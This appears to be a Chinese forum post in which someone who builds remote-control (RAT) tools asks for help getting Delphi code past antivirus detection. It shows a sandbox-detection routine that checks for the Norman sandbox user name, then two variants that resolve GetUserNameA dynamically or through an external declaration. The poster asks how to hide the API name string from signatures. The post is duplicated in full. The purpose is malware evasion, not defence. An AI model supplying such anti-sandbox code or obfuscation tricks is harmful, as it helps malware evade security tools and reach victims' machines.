小生不才,我对delphi很菜,冲着对远控的爱好不得不接触delphi.在源码里面遇到个问题,请求大家帮忙解决。情况如下:----------------------------------------------------------------------------
原版代码 (1)
function NormanSandBox: boolean;
var
bSize :Cardinal;
Str: string;
begin
result := false;
try
bSize := 256;
SetLength(Str, bSize);
GetUserName(PChar(Str), bSize);
except
Str := '';
end;
result := UpperString(str) = UpperString('CurrentUser');
end;
--------------------------------------------------------------------------------
动态调用后的代码 (2)
function NormanSandBox: boolean;
var
bSize :Cardinal;
Str: string;
@@@GetUserName : function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
begin @@@GetUserName:=GetProcAddress(LoadLibrary('advapi32.dll'),'GetUserNameA');
result := false;
try
bSize := 256;
SetLength(Str, bSize);
@@@GetUserName(PChar(Str), bSize);
// GetUserName(PChar(Str), bSize);
except
Str := '';
end;
result := UpperString(str) = UpperString('CurrentUser');
end;
----------------------------------------------------------------------------------
网友给的调用方法 (3)
function @@@GetUserName(lpBuffer: PChar; var nSize: DWORD): BOOL;stdcall;external 'advapi32.dll' name 'GetUserNameA';function NormanSandBox: boolean;
var
bSize :Cardinal;
Str: string;
begin
result := false;
try
bSize := 256;
SetLength(Str, bSize);
@@@GetUserName(PChar(Str), bSize);
except
Str := '';
end;
result := UpperString(str) = UpperString('CurrentUser');
end;
---------------------------------------------------------------------------------
情况(1)是原句,杀毒软件是查杀的句子
情况(2)是我修改过的,还是杀,出现GetProcAddress与LoadLibrary都杀。
情况(3)杀毒软件杀'GetUserNameA'这个字符串,我把它改为'xxxxxGetUserNameA'就不杀了。这样程序肯定是出错的。
现在该如何隐藏情况(3)的字符串?我试过把它改为'GetUserNameA'='G'+'et'+'User'+'Name'+'A'还是不行!
请求各位帮个忙
原版代码 (1)
function NormanSandBox: boolean;
var
bSize :Cardinal;
Str: string;
begin
result := false;
try
bSize := 256;
SetLength(Str, bSize);
GetUserName(PChar(Str), bSize);
except
Str := '';
end;
result := UpperString(str) = UpperString('CurrentUser');
end;
--------------------------------------------------------------------------------
动态调用后的代码 (2)
function NormanSandBox: boolean;
var
bSize :Cardinal;
Str: string;
@@@GetUserName : function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
begin @@@GetUserName:=GetProcAddress(LoadLibrary('advapi32.dll'),'GetUserNameA');
result := false;
try
bSize := 256;
SetLength(Str, bSize);
@@@GetUserName(PChar(Str), bSize);
// GetUserName(PChar(Str), bSize);
except
Str := '';
end;
result := UpperString(str) = UpperString('CurrentUser');
end;
----------------------------------------------------------------------------------
网友给的调用方法 (3)
function @@@GetUserName(lpBuffer: PChar; var nSize: DWORD): BOOL;stdcall;external 'advapi32.dll' name 'GetUserNameA';function NormanSandBox: boolean;
var
bSize :Cardinal;
Str: string;
begin
result := false;
try
bSize := 256;
SetLength(Str, bSize);
@@@GetUserName(PChar(Str), bSize);
except
Str := '';
end;
result := UpperString(str) = UpperString('CurrentUser');
end;
---------------------------------------------------------------------------------
情况(1)是原句,杀毒软件是查杀的句子
情况(2)是我修改过的,还是杀,出现GetProcAddress与LoadLibrary都杀。
情况(3)杀毒软件杀'GetUserNameA'这个字符串,我把它改为'xxxxxGetUserNameA'就不杀了。这样程序肯定是出错的。
现在该如何隐藏情况(3)的字符串?我试过把它改为'GetUserNameA'='G'+'et'+'User'+'Name'+'A'还是不行!
请求各位帮个忙
但是也可能是在声明时引用的API函数不规范吧
但是也可能是在声明时引用的API函数不规范吧